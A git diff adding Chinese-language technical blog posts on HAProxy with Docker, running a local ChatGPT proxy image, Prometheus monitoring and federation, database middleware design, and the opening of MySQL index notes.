host.docker.internal:8082 check +``` + +这个配置文件定义了一个前端http_front,监听在8080端口,并将流量转发到名为http_back的后端。后端使用roundrobin策略进行负载均衡,并定义了两个服务器web1和web2 + +#### 使用Docker运行HAProxy: +```shell +docker run -d -p 8080:8080 -v $(pwd)/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro --name haproxy haproxy:latest +``` +这将启动HAProxy容器,监听在8080端口,并使用我们刚刚创建的配置文件。 + +#### 测试负载是否均衡 + +```shell +curl http://localhost:8080 +docker logs web1 +docker logs web2 +``` +多次运行上述命令,会看到请求在两个服务器之间进行负载均衡。 + +清理 +完成测试后,可以停止并删除所有容器: + +```shell +docker stop web1 web2 haproxy +docker rm web1 web2 haproxy +``` + + + + diff --git a/_posts/2023-10-15-test-markdown.md b/_posts/2023-10-15-test-markdown.md new file mode 100644 index 000000000000..fc78c46ae3c7 --- /dev/null +++ b/_posts/2023-10-15-test-markdown.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 本地部署GPT +subtitle: +tags: [GPT] +comments: true +--- + +#### 1.下载安装 + +下载并安装Docker 【官网下载】 + +```shell +https://github.com/pengzhile/pandora +``` + +#### 2.一键安装 + +```shell +docker pull pengzhile/pandora +``` + +#### 3.一键运行 + +```shell +docker run -e PANDORA_CLOUD=cloud -e PANDORA_SERVER=0.0.0.0:8899 -p 8899:8899 -d pengzhile/pandora +``` + +#### 4.Access Token登录 + +```shell +https://chat.openai.com/api/auth/session +``` + +#### 5.访问本地 + +```shell +http://127.0.0.1:8899 +``` \ No newline at end of file diff --git a/_posts/2023-10-16-test-markdown.md b/_posts/2023-10-16-test-markdown.md new file mode 100644 index 000000000000..4cc62d617d87 --- /dev/null +++ b/_posts/2023-10-16-test-markdown.md @@ -0,0 +1,258 @@ +--- +layout: post +title: Prometheus +subtitle: +tags: [Prometheus] +comments: true +--- + +## 1.PromQL 语法 + +接口 qps 看图绘图: + +```text +// 过去1分钟 每秒请求 qps +// sum 求和函数 +// rate 计算范围向量中时间序列的每秒平均增长率 +// api_request_alert_counter 指标名称 +// service_name 和 subject 都是 label kv参数 +sum(rate(api_request_alert_counter{service_name="gateway", subject="total"}[1m])) by (subject) +``` + +接口可用性看图绘图: +接口可用性就是验证当前接口在单位时间内的处理正确的请求数目比上总体的请求数目,在打点的时候也讲到,我们业务代码 0 代表着正确返回,非 0 的代表着存在问题,这样就可以很简单的算出来接口的可用性。 + +```text +// 过去1分钟 每秒接口可用性 +// sum 求和函数 +// rate 计算范围向量中时间序列的每秒平均增长率 +// api_request_cost_status_count 指标名称 +// service_name 和 code 都是 label kv参数 +(sum(rate(api_request_cost_status_count{service_name="gateway", code="0"}[1m])) by (handler) +/ +( +sum(rate(api_request_cost_status_count{service_name="gateway", code="0"}[1m])) by (handler) ++ +sum(rate(api_request_cost_status_count{service_name="gateway", code!="0"}[1m])) by (handler)) +) * 100.0 +``` + +接口 Pxx 耗时统计看图绘图: +接口耗时统计打点依赖 prometheus api 中的 histogram 实现,在呈现打点耗时的时候有时候局部的某个耗时过长并不能进行直接反应整体的,我们只需要关注 SLO (服务级别目标)目标下是否达标即可。 + +```shell +// 过去1分钟 95% 请求最大耗时统计 +// histogram_quantile +1000* histogram_quantile(0.95, sum(rate(api_request_cost_status_bucket{service_name="gateway",handler=~"v1.app.+"}[1m])) +by (handler, le)) +``` + +## 2.Histogram: + +在Prometheus中,Histogram是一种指标类型,用于观察数据的分布情况。Histogram会将观察到的值放入配置的桶中。每个桶都有一个上界(le标签表示),并累计观察到的值落入该桶的次数。 +`api_request_cost_status_bucket`: + +这是Histogram类型的指标,记录API请求的耗时。它有几个标签,如service_name和handler,分别表示服务名称和处理程序。 +`rate(...[1m])`: + +这个函数计算指标在过去1分钟内的速率。对于Histogram,这意味着计算每个桶中观察次数的速率。 +`sum(...) by (handler, le)`: + +这个函数将速率按handler和le标签进行聚合。这意味着我们得到了过去1分钟内,每个处理程序和每个桶的观察次数的总速率。 +`histogram_quantile(0.95, ...):` + +这个函数计算Histogram的分位数。在这里,我们计算95%分位数,这意味着95%的观察值都小于或等于这个值。换句话说,这是过去1分钟内95%的请求的最大耗时。 + +## 3.Alert Manager + +使用 Prometheus 的 Alert Manager 就可以对服务进行报警,但是如何及时又准确的报警,以及如何合理设置报警? + +定义清晰的SLI/SLO/SLA: + +SLI (Service Level Indicator):服务级别指标,如错误率、响应时间等。 +SLO (Service Level Objective):基于SLI的目标,例如“99.9%的请求在300ms内完成”。 +SLA (Service Level Agreement):与客户之间的正式承诺,通常包括SLO和违反SLO时的补偿措施。 +基于这些定义,可以创建有意义的报警。 + +SLI (Service Level Indicator): +定义:SLI是一个具体的、可测量的指标,用于衡量服务的某个方面的性能或可靠性。它是一个数值,通常是一个百分比。 +示例:一个常见的SLI是“请求成功率”。例如,如果在100次请求中有95次成功,那么请求的成功率SLI为95%。 + +SLO (Service Level Objective): +定义:SLO是基于SLI的目标。它定义了希望或期望服务达到的性能水平。SLO是团队内部的目标,用于跟踪和管理服务的性能。 +示例:如果希望99.9%的请求在300ms内完成,那么这就是一个SLO。这意味着在任何给定的时间段内,99.9%的请求都应该满足这个标准。 + +SLA (Service Level Agreement): +定义:SLA是一个正式的、与客户或用户之间的合同,其中明确规定了服务的性能标准和承诺。如果未能达到这些标准,通常会有某种形式的补偿,如退款或服务信用。 +示例:一个云服务提供商可能会承诺99.9%的可用性,并在SLA中明确规定,如果在一个月内的实际可用性低于这一标准,客户将获得10%的服务费用退款。 +这三个概念之间的关系可以这样理解:使用SLI来衡量服务的实际性能,设置SLO作为希望达到的目标,然后与客户签订SLA作为对服务性能的正式承诺。 + + +## 4.可能遇到的问题 + +收集指标过大拉取超时 + +如果网关本身的路由的基数比较大,热点路由就有好几百个,再算上对路由的打点、耗时、错误码等等的打点,导致我们每台机器的指标数量都比较庞大,最终指标汇总的时候下游的 prometheus 节点拉取经常出现耗时问题。 + +粗暴的解决方案: +就是修改 prometheus job 的拉取频率及其超时时间,这样可以解决超时问题,但是带来的结果就是最后通过 grafana 看板进行看图包括报警收集上来的点位数据延迟大,并且随着我们指标的设置越来越多的话必然会出现超时问题。 + +较好的解决方案: +采用分布式: +采用 prometheus 联邦集群的方式来解决指标收集过大的问题,采用了分布式,就可以将机器分组收集汇总,之后就可以成倍速的缩小 prometheus 拉取的压力。 + +Prometheus联邦集群是一种解决大规模指标收集问题的方法。通过联邦集群,可以有多个Prometheus服务器,其中一个或多个Prometheus实例作为全局或中央实例,从其他Prometheus实例中拉取预先聚合的数据。这样,可以在不同的层次和粒度上收集和存储数据,从而减少中央Prometheus实例的负载和存储需求。 + +## 5.Prometheus联邦集群如何使用 + +以下是使用Prometheus联邦集群来解决指标收集过大问题的具体步骤: + +> 分组和分层 + +将的基础设施分成逻辑组或层。例如,按地理位置、服务类型或团队进行分组。 +为每个组或层配置一个Prometheus实例。这些实例将只从其分配的组或层收集指标。 + +> 预先聚合数据 + +在每个Prometheus实例中,使用Recording Rules预先聚合数据。这样,可以减少需要从子实例到中央实例传输的数据量。 + +> 配置联邦 + +在中央或全局Prometheus实例中,配置联邦,使其从每个子Prometheus实例中拉取预先聚合的数据。在prometheus.yml配置文件中,使用federation_config部分指定要从哪些子实例中拉取数据,并使用match参数指定要拉取哪些指标。 + +```yaml +scrape_configs: + - job_name: 'federate-prod' + scrape_interval: 15s + honor_labels: true + metrics_path: '/federate' + params: + 'match[]': + - '{job="api"}' + - '{job="database"}' + static_configs: + - targets: + - 'prod-prometheus.your-domain.com:9090' + + - job_name: 'federate-dev' + scrape_interval: 15s + honor_labels: true + metrics_path: '/federate' + params: + 'match[]': + - '{job="api"}' + - '{job="database"}' + static_configs: + - targets: + - 'dev-prometheus.your-domain.com:9090' +``` +在上述配置中,我们为生产和开发环境的Prometheus实例定义了两个不同的scrape_configs。我们使用/federate作为metrics_path,这是Prometheus联邦的默认端点。通过match[]参数,我们指定了我们想从子Prometheus实例中拉取的指标,这里我们选择了api和database两个job的指标。 + +> 优化存储和保留策略 + +考虑在中央Prometheus实例中使用远程存储解决方案,如Thanos或Cortex,以提供更长时间的指标保留和更高的可用性。 +调整每个Prometheus实例的数据保留策略,以便在子实例中保留更短时间的数据,而在中央实例中保留更长时间的数据。 + +> 监控和警报 + +监控每个Prometheus实例的性能和健康状况,确保所有实例都正常工作。 +配置警报,以便在任何Prometheus实例遇到问题时立即收到通知。 +通过这种方式,Prometheus联邦集群可以帮助在大规模环境中有效地收集、存储和查询指标,同时确保每个Prometheus实例的负载保持在可管理的水平。 + +## 6.如何监控一个集群? + +监控一个网关集群需要考虑多个方面,包括数据的粒度、高可用性、故障恢复等。以下是一个推荐的步骤和策略,用于部署Prometheus来监控整个网关集群: + + +分布式监控: +考虑为每个网关或每个网关的子集部署一个Prometheus实例。这样可以分散抓取的负载,并减少单个Prometheus实例的数据量。 + +高可用性: +为每个Prometheus实例部署一个副本。这样,如果一个实例出现问题,另一个可以继续工作。 + +服务发现: +使用Prometheus的服务发现功能自动发现新的网关实例。例如,如果的网关在Kubernetes上,Prometheus可以自动发现新的Pods和Endpoints。 + +数据存储: +考虑使用本地存储为每个Prometheus实例存储数据,但也考虑使用远程存储(如Thanos或Cortex)来长期存储数据。 + +联邦集群: +如果有多个Prometheus实例,可以使用Prometheus的联邦功能将数据从一个实例聚合到一个中央Prometheus实例。这样,可以在一个地方查询整个集群的数据。 + +报警: +使用Alertmanager处理Prometheus的报警。为了高可用性,运行多个Alertmanager实例并配置它们以形成一个集群。 + +可视化: +使用Grafana或Prometheus自带的UI来可视化的数据。为的网关集群创建仪表板,显示关键指标,如请求速率、错误率、延迟等。 + +备份和恢复: +定期备份Prometheus的配置和数据。考虑使用远程存储或对象存储进行备份。 + +安全性: +保护的Prometheus实例和Alertmanager实例。考虑使用网络策略、TLS、身份验证和授权来增强安全性。 + +维护和监控: +监控的Prometheus实例的健康状况和性能。设置报警,以便在资源不足或其他问题发生时得到通知。 +定期检查和更新的Prometheus和Alertmanager版本。 + +扩展性: +根据需要扩展的Prometheus部署。随着的网关集群的增长,可能需要添加更多的Prometheus实例或增加存储容量。 + +定义指标: + +```go +import ( + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promhttp" + "net/http" + "time" +) + +var httpDuration = prometheus.NewHistogramVec( + prometheus.HistogramOpts{ + Name: "http_request_duration_seconds", + Help: "Duration of HTTP requests.", + Buckets: prometheus.DefBuckets, + }, + []string{"path", "method"}, +) +``` +注册指标: +在启动应用程序时,需要注册的指标,这样 Prometheus 客户端库才知道它们存在。 + +```go +func init() { + prometheus.MustRegister(httpDuration) +} +``` +测量请求耗时: +使用中间件或 HTTP 处理程序来测量每个请求的耗时,并更新的指标。 + +```go +func trackDuration(handler http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + startTime := time.Now() + handler(w, r) + duration := time.Since(startTime) + httpDuration.WithLabelValues(r.URL.Path, r.Method).Observe(duration.Seconds()) + } +} +``` +使用中间件: +对于的每个 HTTP 处理程序,使用上面定义的 trackDuration 中间件。 + +```go +http.HandleFunc("/your_endpoint", trackDuration(yourHandlerFunc)) +``` +暴露指标给 Prometheus: +需要提供一个 HTTP 端点,通常是 /metrics,供 Prometheus 服务器抓取。 + +```go +http.Handle("/metrics", promhttp.Handler()) +``` +启动 HTTP 服务器: + +```go +http.ListenAndServe(":8080", nil) +``` +将上述代码组合在一起,就可以在的应用程序中统计和暴露 HTTP 请求的耗时了。确保已经正确地设置了 Prometheus 服务器来抓取的应用程序的 /metrics 端点。 \ No newline at end of file diff --git a/_posts/2023-10-17-test-markdown.md b/_posts/2023-10-17-test-markdown.md new file mode 100644 index 000000000000..b723861574b4 --- /dev/null +++ b/_posts/2023-10-17-test-markdown.md @@ -0,0 +1,369 @@ +--- +layout: post +title: 数据库中间件 +subtitle: +tags: [数据库中间件] +comments: true +--- + +数据库中间件是位于应用程序和数据库之间的软件层,它提供了一系列功能来优化、增强和简化数据库访问。数据库中间件的主要功能以及优点和缺点有: + +> 连接池管理: + +功能:数据库中间件维护一个数据库连接池,预先创建和复用数据库连接,从而减少了频繁建立和关闭连接的开销。 +优势:提高了应用程序的响应速度,减少了数据库的负载。 + +> 查询路由: + +功能:根据查询内容或其他策略,数据库中间件可以决定将查询发送到哪个数据库或哪个数据库分片。 +优势:允许水平扩展,提高了数据读写的性能。 + +> 数据分片: + +功能:数据库中间件可以将数据分散到多个数据库节点上,每个节点只存储数据的一部分。 +优势:提高了数据的读写性能,允许存储大量数据。 + +> 负载均衡: + +功能:根据数据库节点的负载或其他策略,数据库中间件可以均衡地将查询分发到不同的数据库节点上。 +优势:提高了系统的吞吐量,确保了所有数据库节点的均衡利用。 + +> 缓存管理: + +功能:数据库中间件可以缓存频繁访问的查询结果,减少对数据库的直接访问。 +优势:大大提高了查询的响应速度,减轻了数据库的负载。 + +> SQL重写和优化: + +功能:数据库中间件可以修改和优化传入的SQL查询,以提高执行效率。 +优势:提高了查询性能,减少了不必要的数据库操作。 + +> 分布式事务管理: + +功能:当数据分散在多个数据库节点上时,数据库中间件可以协调这些节点以确保事务的原子性和一致性。 +优势:确保了数据的完整性和一致性,即使在分布式环境中。 + +> 简化的两阶段提交(2PC)协议的例子来确保数据库中间件如何协调多个节点来确保事务的原子性和一致性 + + +准备阶段: + +事务协调器(通常是数据库中间件或一个特定的服务)向所有参与者(即数据库节点)发送一个“准备提交”消息。 +每个参与者执行事务操作,但不提交事务。它们将数据锁定,确保在事务完成之前不会被其他事务更改。 +每个参与者响应协调器,表示它们已准备好提交事务(即“准备好了”)或它们不能提交事务(即“放弃”)。 + +提交/中止阶段: + +如果所有参与者都表示“准备好了”,协调器向所有参与者发送“提交”消息。每个参与者提交其事务并释放所有锁,然后向协调器发送“已完成”消息。 +如果任何参与者表示“放弃”或协调器在指定的超时时间内没有收到所有的“准备好了”消息,协调器向所有参与者发送“中止”消息。每个参与者回滚其事务并释放所有锁。 +这种方法确保了事务的原子性(即所有操作都提交或都回滚)和一致性(即系统始终处于一致的状态)。 + +> 安全性和访问控制: + +功能:数据库中间件可以提供身份验证、授权和其他安全机制,确保只有授权的用户可以访问数据。 +优势:增强了数据的安全性,减少了潜在的安全威胁。 + +> 故障转移和高可用性: + +功能:当一个数据库节点出现故障时,数据库中间件可以自动将查询路由到其他健康的节点。 +优势:确保了服务的持续可用性,减少了故障的影响。 + +> 主从复制架构下,如果主库挂掉怎么办? + +如果对于写请求,特别是在主从复制的数据库架构中,当主库宕机时,简单地将写请求路由到其他节点(如从库)可能会导致数据不一致和其他问题。在这种情况下,数据库中间件和整个系统应该采取以下策略和措施: + +故障检测:中间件应该有快速和准确的机制来检测主库的故障。 + +流量暂停:一旦检测到主库故障,中间件应该暂停所有新的写请求,防止数据不一致。 + +自动故障转移:中间件可以自动选择一个健康的从库进行提升,使其成为新的主库。这通常涉及停止该从库的复制进程,并确保它已经接收到所有未复制的事务。 + +重新配置复制:一旦新的主库被选定,其他从库应该被重新配置为从新的主库复制。 + +恢复流量:当新的主库准备好接受写请求时,中间件可以恢复写流量。 + +故障恢复:对于原先的宕机主库,一旦它恢复,它应该被配置为从新的主库复制,这样它可以追赶任何在故障期间丢失的事务。 + +警报和通知:在整个过程中,应该有机制通知系统管理员或相关人员关于故障和任何自动故障转移的操作。 + +写请求的缓存和重试:对于在故障转移期间到达的写请求,中间件可以选择缓存它们,并在新的主库准备好后重试。 + +避免脑裂:在进行故障转移时,需要确保只有一个主库接受写请求,避免多个节点都认为自己是主库的情况,这可能导致数据不一致。 + +总之,处理主库故障和进行故障转移是一个复杂的过程,需要数据库中间件、数据库本身和其他系统组件的紧密协作。正确的策略和配置可以确保数据的完整性和系统的高可用性。 + + +> 描述一个典型的数据库中间件的架构。它通常包括哪些组件? + +代理层: +连接池管理:Gaea为后端的每个数据库节点维护了一个连接池,这样可以复用数据库连接,减少频繁创建和销毁连接带来的开销。 + +SQL解析和路由: +Gaea会解析客户端发送的SQL语句,根据预定义的分片规则将SQL路由到适当的数据库节点。 + +SQL重写: +在某些情况下,Gaea可能需要重写SQL,例如,为了将一个查询分解为多个子查询,然后在不同的数据库节点上执行。 + +配置管理: +Gaea支持动态配置管理,允许在不重启服务的情况下动态更改配置。这对于在线服务来说是非常重要的。 + +分片策略: +Gaea支持多种分片策略,如范围分片、哈希分片等。用户可以根据业务需求选择合适的分片策略。 + +> 如何确保数据库中间件的高可用性和故障转移 + +因为位于应用程序和数据库之间,任何中间件的故障都可能导致整个系统不可用。以下是一些建议的策略和方法来确保数据库中间件的高可用性和故障转移: + +双活或多活部署: +部署多个中间件实例,所有实例都可以处理请求。这通常结合负载均衡器使用,如Nginx、HAProxy等,将流量分发到各个中间件实例。 + +心跳检测和健康检查: +中间件应定期检查其健康状态,并报告给负载均衡器或集群管理器。任何检测到的故障都应立即从流量中移除。 + +快速故障检测与转移: +当一个中间件实例故障时,流量应迅速转移到健康的实例上。这需要负载均衡器或集群管理器具有快速故障检测和转移的能力。 + +数据同步: +如果中间件维护状态(如缓存、连接池等),确保所有实例之间的状态同步或至少保持最终一致性。 +分布式事务和数据一致性: + +在故障转移期间,确保所有事务都能正确完成或回滚,以保持数据的一致性。 + +备份和恢复: +定期备份中间件的配置、元数据和其他关键数据。确保有一个清晰的恢复策略和过程。 + +容量规划和性能监控: +监控中间件的性能指标,如响应时间、吞吐量、错误率等。预测负载增长并提前扩容,以避免因超载导致的故障。 + +灾难恢复: +为大规模故障(如数据中心故障)制定灾难恢复计划。这可能包括在不同的地理位置部署中间件实例、数据备份和迅速切换流量的策略。 + + +> 为什么数据库中间件需要连接池管理?它如何工作? + +性能优化:建立和销毁数据库连接是一个相对昂贵的操作,尤其是在高并发的环境中。通过重用已经建立的连接,连接池可以显著减少这种开销,从而提高系统的响应速度。 + +资源利用:数据库服务器通常对同时连接的客户端数量有限制。连接池可以确保不超过这个限制,同时最大化地利用可用连接。 + +流量控制:连接池可以作为一个流量控制机制,限制同时访问数据库的请求数量,从而防止数据库被过载。 + +故障恢复:连接池可以自动检测无效或断开的连接,并重新建立它们,从而提供更加稳定的连接服务。 + + +> 描述一种有效的连接池策略。 + +最小/最大连接数:设置连接池的最小和最大连接数。最小连接数确保即使在低负载时也有一定数量的连接可用,而最大连接数防止过多的连接消耗数据库资源。 + +连接超时:设置从连接池获取连接的超时时间。如果在指定的时间内无法获取连接,应用程序应收到一个错误。 + +空闲连接超时:设置连接在被视为空闲并被关闭之前可以保持空闲的最长时间。 + +连接验证:在将连接提供给应用程序之前,连接池应验证连接的有效性,例如,通过执行一个简单的查询。 + +动态调整:根据负载动态调整连接池的大小。例如,如果所有的连接都在使用中,连接池可以创建更多的连接,只要不超过最大连接数。 + +故障恢复:连接池应能够检测到数据库故障,并在数据库恢复后自动重新建立连接。 + +连接隔离:对于有不同需求或优先级的应用程序,可以使用多个连接池来隔离它们的连接。 + + +> 查询路由和重写如何实现查询路由?请给出一个实际的例子。 + +查询路由是根据某种策略将查询请求路由到适当的数据库或数据库分片上。这通常基于查询中的某些参数,如主键值、分片键值或其他业务逻辑。 + +假设我们有一个电商应用,用户数据被分片存储在多个数据库中,分片策略是基于用户ID的哈希值。 + +当收到如下查询请求时: + +```sql +SELECT * FROM users WHERE user_id = 12345; +``` +中间件会: + +计算user_id 12345的哈希值。 +根据哈希值和预定义的分片策略确定目标数据库分片。 +将查询路由到相应的数据库分片。 + +> 在什么情况下可能需要重写SQL查询? + +SQL重写是修改原始SQL查询以适应目标数据库的过程。这可能是因为原始查询不适用于目标数据库,或者为了优化查询性能。 + + +分表查询:当一个逻辑表被分为多个物理表时,原始查询可能需要被重写为多个查询,每个查询针对一个物理表。 + +例如,原始查询为: + +```sql +SELECT * FROM orders WHERE order_date = '2022-01-01'; +``` +如果orders表被分为orders_1, orders_2, ...,那么上述查询可能需要被重写为多个查询,每个查询针对一个分表。 + +分库查询:与分表查询类似,但是目标是多个数据库分片。 +特定数据库方言:不同的数据库可能有不同的SQL方言。例如,LIMIT子句在MySQL中是LIMIT X OFFSET Y,而在SQL Server中是OFFSET Y ROWS FETCH NEXT X ROWS ONLY。 + +性能优化:有时,原始查询可能不是最优的。中间件可以重写查询以提高性能,例如,通过添加、删除或修改JOIN条件。 + +安全性:为了防止SQL注入或确保数据隔离,中间件可能需要重写查询。 + + +> 描述之前如何实现数据分片。使用了哪种策略? + +选择分片键: +首先确定一个分片键,它是决定数据如何分布到各个分片上的关键。常见的分片键包括用户ID、订单ID等。 + +分片策略: +范围分片:数据根据分片键的范围被分到不同的分片上。例如,用户ID 1-1000在分片A,1001-2000在分片B等。 +哈希分片:使用分片键的哈希值来决定数据应该存储在哪个分片上。这种方法可以确保数据均匀分布。 +目录分片:使用一个单独的服务或数据库来记录每个数据项应该存储在哪个分片上。 +数据迁移:当添加或删除分片时,可能需要重新分配数据。这通常是一个复杂的过程,需要在不中断服务的情况下完成。 + + +> 不中断服务的情况下进行数据分片? + +预备工作: +备份数据:在开始任何迁移之前,始终备份所有数据。 +选择合适的时间:尽量选择系统低峰时段进行数据迁移,以减少对用户的影响。 + +双写: +启动一个新的分片策略,但保持旧的策略。 +当有写入请求时,同时写入旧的数据存储和新的分片。 +读取请求仍然只从旧的数据存储中获取。 + +数据迁移: +使用后台进程将旧的数据存储中的数据迁移到新的分片中。这个过程可能需要很长时间,取决于数据量的大小。 +为了确保数据的一致性,可以使用校验点或增量迁移。每次迁移一小部分数据,并确保它在新的分片中是正确的。 + +切换读取: +一旦所有数据都被迁移到新的分片中,并且确保数据的一致性,可以开始将读取请求路由到新的分片。 +这个过程可以逐渐进行,例如,首先只有10%的读取请求路由到新的分片,然后逐渐增加这个比例。 + +停止双写: +一旦所有的读取请求都被路由到新的分片,并且系统稳定运行,可以停止双写策略。 +此时,旧的数据存储可以被废弃或用作备份。 + +监控和优化: +在整个过程中,持续监控系统的性能和稳定性。 +如果出现任何问题,如性能下降或数据不一致,需要立即解决。 + +回滚策略: +在整个迁移过程中,始终准备一个回滚策略。如果新的分片策略出现问题,可以快速回滚到旧的数据存储。 + +> 分布式事务的挑战: + +网络延迟和故障:在分布式系统中,网络延迟和故障是常见的问题,它们可能导致事务超时或失败。 + +数据不一致:在多个分片上执行事务可能导致数据不一致。例如,一个事务可能只在一个分片上成功,而在另一个分片上失败。 + +死锁:在分布式系统中,死锁更难以检测和解决。 + +复杂性:分布式事务需要更复杂的协调和管理机制。 + + +> 处理分布式事务的挑战: + +两阶段提交(2PC):这是一个经典的分布式事务协议。它分为两个阶段:准备阶段和提交/回滚阶段。所有参与者都必须在第一阶段同意提交事务,然后在第二阶段实际提交或回滚事务。 + +补偿事务:如果事务的某个部分失败,可以执行补偿操作来“撤销”之前的操作。例如,如果一个事务是从一个账户中扣款并向另一个账户转账,补偿操作可能是将钱退回原账户。 + +最终一致性:而不是强制实时一致性,系统可以在短时间内允许数据不一致,但最终达到一致状态。 + +使用分布式事务管理器:例如Google的Spanner或Apache的ZooKeeper,它们提供了工具和协议来管理分布式事务。 + +避免分布式事务:尽可能地设计系统和业务流程,以避免需要跨多个分片或服务的事务。 + +总之,分布式事务是一个复杂的问题,需要深入的理解和精心的设计来确保数据的一致性和系统的可用性。 + + +> 当遇到性能瓶颈时,通常如何诊断和解决问题?使用了哪些工具或策略来监控数据库中间件的性能和健康状况? + + +> 如何在数据库中间件中实现多租户支持?如何确保数据隔离和安全性? + +实现数据库中间件的多租户支持是一个复杂的过程,涉及到数据的隔离、资源的分配以及安全性的保障。以下是一些建议的步骤和策略: + +数据隔离: +物理隔离:为每个租户分配单独的数据库或数据库实例。这是最安全的隔离方法,但可能会导致资源浪费。 +逻辑隔离:在同一个数据库中为每个租户分配独立的表或模式。可以通过添加租户ID字段到每个表中来实现。 +混合隔离:根据租户的大小和需求,选择物理隔离或逻辑隔离。 + +查询路由: +数据库中间件需要知道每个查询来自哪个租户,并将其路由到正确的数据库或表。 +可以通过解析查询中的租户ID或使用租户特定的连接字符串来实现。 + +资源分配: +为每个租户分配固定的资源,如CPU、内存和存储,以确保他们不会互相干扰。 +使用资源配额和限制来防止任何租户使用过多的资源。 + +安全性: +使用强大的身份验证和授权机制来确保只有合法的租户可以访问其数据。 +使用加密来保护数据的隐私和完整性。 +定期审计和监控来检测和防止任何潜在的安全威胁。 + +备份和恢复: +为每个租户提供独立的备份和恢复策略。 +在进行备份时,确保数据的隔离性,避免租户之间的数据泄露。 + +监控和审计: +使用监控工具来跟踪每个租户的资源使用情况和性能。 +定期审计来检查数据的隔离性和安全性。 + +数据迁移: +提供工具和服务来帮助租户迁移他们的数据,无论是在租户之间还是从其他系统到中间件。 +总之,实现数据库中间件的多租户支持需要综合考虑数据的隔离、资源的分配和安全性的保障。通过上述策略和步骤,可以确保每个租户都能安全、高效地访问其数据。 + +> 如何在数据库中间件中实现身份验证和授权?如何防止SQL注入和其他常见的数据库攻击? + +在数据库中间件中实现身份验证和授权是确保数据安全的关键步骤。以下是如何实现这些功能以及如何防止常见的数据库攻击的建议: + +身份验证: +用户名和密码:最基本的身份验证方法。确保密码策略足够强大,例如要求密码的长度、复杂性和定期更改。 +证书认证:使用客户端和服务器证书进行双向SSL/TLS身份验证。 +多因素认证:结合密码、硬件令牌、短信验证码等多种方法进行身份验证。 +集成身份提供者:与LDAP、Active Directory或OAuth提供者集成,以使用现有的身份验证系统。 + +授权: +基于角色的访问控制(RBAC):为用户分配特定的角色,每个角色有其权限集。例如,读者、作者和管理员。 +细粒度的权限控制:不仅基于表或数据库,还可以基于行或列来控制权限。 +白名单/黑名单:只允许特定的用户或IP地址访问,或明确拒绝某些用户或IP地址。 + +防止SQL注入: +参数化查询:而不是直接在SQL语句中拼接用户输入,使用参数化查询或预编译的语句。 +输入验证:验证所有的用户输入,确保它们不包含潜在的恶意代码。 +使用ORM:对象关系映射(ORM)库通常会自动处理用户输入,减少SQL注入的风险。 +错误处理:不要向用户显示详细的数据库错误信息,这可能会为攻击者提供有价值的信息。 + +其他安全措施: +限制数据库用户的权限:不要使用root或admin用户运行应用程序。为应用程序创建一个权限受限的数据库用户。 +网络隔离:确保数据库只能从受信任的网络或特定的应用服务器访问。 +加密:使用SSL/TLS加密数据库连接。对敏感数据进行加密存储。 +定期审计和监控:定期检查数据库的访问日志,查找任何可疑的活动。 + + +> 分库分表实现不迁移数据的设计方案 + +确实,结合 hash 和 range 的方法在分库分表中是一个常见的策略,特别是在需要扩容或者缩容的场景中。这种方法结合了两者的优点,既可以实现数据的均匀分布,又可以减少数据迁移的复杂性。 + +简单来说,这种策略的核心思想是:首先按照 range 对数据进行分区,然后在每个 range 内部使用 hash 来分散数据。 + +例子: +假设我们有一个用户表,表中有一个自增的用户 ID 作为主键。 + +Range 分区:我们可以决定每 1000 个用户 ID 作为一个 range。即: + +ID 1-1000 是一个 range +ID 1001-2000 是另一个 range +以此类推 +Hash 分散:在每个 range 内部,我们可以使用用户 ID 的 hash 值来决定将数据存储在哪个具体的数据库或表中。例如,我们可以决定将每个 range 的数据分散到 10 个数据库中。 + +这样,当我们需要扩容时,只需要为新的 ID 范围添加新的数据库或表,而不需要迁移旧的数据。因为每次扩容都是为新的 ID 范围增加资源,旧的 ID 范围的数据不会受到影响。 + +同时,由于在每个 range 内部都使用了 hash 来分散数据,所以可以确保数据在各个数据库或表中的分布是均匀的,避免了热点问题。 + +举个简单的例子: +假设我们有一个系统,初始时预计有 1000 个用户,所以我们创建了 10 个数据库来存储这些用户的数据。每个数据库存储 100 个用户的数据。 + +当用户数量增长到 1001 时,我们知道需要为新的用户 ID 范围(1001-2000)添加新的数据库。所以我们再创建 10 个数据库来存储 ID 为 1001-2000 的用户数据。 + +这样,即使用户数量增长,我们也不需要迁移旧的数据。而且,由于我们在每个 ID 范围内都使用了 hash 来分散数据,所以数据在各个数据库中的分布是均匀的。 + +结合 hash 和 range 的策略既解决了数据迁移的问题,又确保了数据的均匀分布。 \ No newline at end of file diff --git a/_posts/2023-10-18-test-markdown.md b/_posts/2023-10-18-test-markdown.md new file mode 100644 index 000000000000..b7bf6a84adcd --- /dev/null +++ b/_posts/2023-10-18-test-markdown.md @@ -0,0 +1,632 @@ +--- +layout: post +title: Mysql45讲 +subtitle: +tags: [Mysql] +comments: true +--- + +## 1.聚簇索引/非聚簇索引: + +聚簇索引 (Clustered Index): +在InnoDB中,表的数据行是按照聚簇索引的键值存储的,这意味着表数据和索引数据是一起存储的。 +一个表只能有一个聚簇索引。 +聚簇索引的叶子节点直接包含了完整的数据行。 +通常,主键索引就是聚簇索引,但也可以选择其他唯一的列作为聚簇索引 + +>主键索引(聚簇索引)的叶子节点直接包含了对应的行数据。这意味着,查找主键索引时,一旦找到了对应的键值,相关的行数据就已经在那里了,不需要额外的数据块查找。非叶子节点:存储键值和指向子节点的指针。叶子节点:存储键值以及与该键值关联的完整数据行。 + +非聚簇索引 (Non-Clustered Index 或 Secondary Index): +非聚簇索引和表数据是分开存储的。 +一个表可以有多个非聚簇索引。 +非聚簇索引的叶子节点包含索引的键值和一个指向对应聚簇索引(通常是主键)的指针。 +当使用非聚簇索引进行查询时,可能需要“回表”到聚簇索引来获取完整的数据行,除非查询被覆盖索引满足。 + +> 在InnoDB中,主键索引(也称为聚簇索引)是主要的索引,而所有非主键索引都被称为二级索引或非聚簇索引。二级索引的叶子节点不包含完整的数据行,而是包含键值和一个指向对应数据行的指针(通常是主键值)。当查询需要从二级索引“回表”到主键索引来获取完整的数据行时,会增加查询的I/O成本,因此覆盖索引在这种情况下就显得尤为重要,因为它可以避免这种额外的I/O开销。 + +覆盖索引 (Covering Index): +覆盖索引不是一个独立的索引类型,而是指的是一个查询可以完全通过使用一个非聚簇索引来满足,不需要回到聚簇索引来获取数据。 